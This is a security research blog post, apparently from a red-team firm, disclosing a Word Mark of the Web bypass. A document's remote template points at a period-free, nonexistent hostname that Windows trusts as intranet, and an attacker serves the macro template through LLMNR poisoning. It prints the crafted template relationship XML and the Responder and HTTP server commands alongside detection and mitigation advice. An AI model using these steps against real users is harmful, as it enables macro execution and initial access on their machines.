Trust Me, I Don’t Exist: An Intranet Zone MotW Bypass

Last Updated:

Executive Summary

As part of ongoing research into how Office decides what to trust, we found a way to make Microsoft Word execute a macro from a remote template it is supposed to block. The document can be downloaded straight from the internet, and the Enable Macros button appears anyway.

By default, macros in a remotely retrieved template are blocked unless the template’s location is in the Local Intranet zone or in Trusted sites. Windows places any hostname containing no period into the Local Intranet zone, on the strength of the name alone. A .docx pointing at a template on a nonexistent, period-free hostname is therefore trusted before resolution is even attempted. The name does not resolve, Windows falls back to LLMNR, and any machine on the same segment can answer and serve the template.

The risk is macro execution, which remains one of the most reliable paths to initial access. The macro runs with the privileges of the signed-in user: file access, mailbox access, persistence, and lateral movement from there. No vulnerability is exploited in Word itself, and the attacker writes nothing to disk.

We reported the issue to the Microsoft Security Response Center. The MSRC did not consider it a vulnerability and no CVE was issued.

Introduction

Office blocks macros in files that come from the internet. The mechanism is the Mark of the Web, an attribute Windows attaches to a downloaded file, which Office reads before deciding what the document is allowed to do.

The same caution applies to a template the document fetches from somewhere else. Microsoft’s documentation states that macros in a remotely retrieved template are blocked unless that location is explicitly trusted, and that this holds on a local network as well: a template served from a machine on your own LAN, addressed by its IP, is refused like any other.

MSDN
Microsoft, stating that macros are blocked when a network share is accessed by IP address

Most published work on this control has aimed at the mark itself: removing it, preventing it from being written, or using a container format that does not propagate it to the files inside.

This technique does not touch the mark. The document keeps it, intact, for the whole attack. The macro is placed where the mark does not apply, and Windows is made to trust that location.

What is Mark of the Web?

When Windows saves a file that came from the internet, it records where the file came from alongside it, in an attribute called ZoneId. Office reads that value before deciding what the document may do. Microsoft documents the mapping: 2 means Trusted sites and macros run, 3 means Internet and macros are blocked.

The value can be read on any downloaded file:

notepad {name of file}:Zone.Identifier

# Result
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://contoso.com/

Windows sorts remote locations into five zones: Local Machine, Local Intranet, Trusted sites, Internet and Restricted sites. Anything matching no other rule falls into the Internet zone. Office uses this classification to decide what a file is allowed to do.

Breaking the Zone Decision

Expected behaviours

We first confirmed the blocked case against real infrastructure. A .dotm served from a machine on the local network, addressed by its IP, leaves the document untrusted and the macro blocked. Addressing the same machine by its fully qualified name changes nothing: tested against a domain controller hosting the template and queried by its hostname, the macro remained blocked.

The document used for that test points at the template by IP address:

<Relationship Id="rId1"
  Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
  Target="http://10.0.0.3/template-poc.dotm"
  TargetMode="External"
/>

On the left, the victim opening the document. On the right, the server hosting the template.

The macro did not run. Word reports the template’s source as untrusted.

Motw banner

Nothing failed to download. Word fetched the file, then refused to run what was inside it.

Bypassing it

The bypass is to point the document at a server that does not exist.

Windows decides a URL’s zone through a short list of rules, and one of them is known as the PlainHostName rule. Microsoft’s description of it: “If the URI’s hostname doesn’t contain any periods (e.g. https://team/) then it is mapped to the Local Intranet Zone.”

No period, therefore intranet. And that decision is made on the string itself, before anything is resolved. The same source is explicit that the zone mapping “doesn’t take the IP address of the target site into account at all”, because Windows must be able to classify a host that is unreachable or absent from DNS.

Both halves of this are Microsoft’s own documentation. One page says a hostname without a period is placed in the Local Intranet zone. Another says a template in the Local Intranet zone may run macros. Neither page refers to the other, and nothing in either one suggests the host has to exist.

A real server on your own network, reached by its address, is classified as the internet. A name that resolves to nothing at all is classified as your intranet.

Reproducing the same relationship as before, with one value changed:

<Relationship Id="rId1"
  Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
  Target="http://NOT-EXISTING-SERVER/template-poc.dotm"
  TargetMode="External"/>

The template is an ordinary macro-enabled template whose macro runs when the document opens.

Windows tries DNS, fails, and falls back to LLMNR. A machine on the same segment answers the broadcast and serves the template over HTTP. Two commands are enough.

On attacker side, the template will be served over HTTP and the listener will run to poison the query.

python3 -m http.server 80
sudo responder -I eth0 -v

And the Enable Macros button is back.

Enable macro back

And here is the full picture. On the left, the victim opening the document. On the right, the attacker answering the name resolution and serving the template.

Why Mark of the Web does not help

The .docx can have been downloaded from the internet. Its Mark of the Web is intact and its ZoneId is still 3. It makes no difference, because the macro is not in the file the mark describes.

The document’s zone is never consulted when the template’s zone is evaluated. There is no inheritance between the file that asks and the resource it pulls. The control works exactly as designed, and it is watching the wrong object.

The proof of concept uses Word. Office exposes the same remote template mechanism in PowerPoint and Excel, and the zone decision is made by Windows rather than by the application, so the behavior should carry over.

Detection and mitigation

One setting that looks like it should help does not. “Block macros from running in Office files from the Internet” acts on the Internet zone. The template here is in the Local Intranet zone, so the policy never applies to it.

Detection

The attachment carries the whole thing. An Office file that pulls a remote template declares it in its relationship parts, in plain text, before anyone opens it. For a .docx the part is word/_rels/settings.xml.rels, and the relationship carries TargetMode="External".

unzip -p document.docx word/_rels/settings.xml.rels | grep attachedTemplate

A mail gateway can run that check on every inbound Office document. A remote template over HTTP to a host outside the organisation’s own name space is not a normal thing for a document to want.

On the endpoint, two signals are worth alerting on: an Office process opening an outbound HTTP connection to a single label hostname, and an LLMNR or NBT-NS response coming from a machine that is not a name server.

Mitigation

Turn off multicast name resolution. A name that resolves to nothing is only useful to an attacker while something on the segment is willing to answer for it. The policy is Computer Configuration, Administrative Templates, Network, DNS Client, “Turn off multicast name resolution”, set to Enabled. NetBIOS name service has no equivalent policy and is disabled per adapter or through DHCP option 001. This cuts the delivery and leaves the classification standing, which is enough in practice and costs almost nothing to deploy.

Shrink the Local Intranet zone to reach the cause. The PlainHostName rule belongs to the first of the three intranet options. Set “Turn on automatic detection of the intranet” to Disabled, because while it is on it forces all three regardless of domain policy, then set “Intranet Sites: Include all local (intranet) sites not listed in other zones” to Disabled and declare real intranet hosts in the Site to Zone Assignment List. Both sit under Computer Configuration, Administrative Templates, Windows Components, Internet Explorer, Internet Control Panel, Security Page. This restricts rather than relaxes, since a host leaving the Local Intranet zone lands in the stricter Internet zone. The risk is in the reaction: an internal site that stops working is often fixed by putting it in Trusted Sites, which is more trusted than where it started.

Conclusion

Nothing here is a memory corruption, and nothing is a bug in the sense of code doing other than what it was written to do. Each piece behaves exactly as documented. A hostname without a period is intranet. A template in the intranet zone may run macros. A Mark of the Web describes the file it is attached to. Having the three together and a document from the internet runs code.

That is the part worth keeping. The weakness is not in any one of those three decisions, it is in the space between them, where no single team owns the result. Gaps like this one do not surface in a code review, because there is no code to review. They surface when someone reads two pages that were never meant to be read together.

We reported this to Microsoft. No CVE was issued, and the behavior is unchanged at the time of writing.

Knowing that a technique exists is not the same as knowing whether it works against you. Talk to a researcher and find out.

Attackers adopted AI first. Our research turns into Initial Access Vectors, red team TTPs and Product Research, for red teams and pentest firms. Cited by 14 media outlets, governments and agencies.

Ask Kopnex

Blog side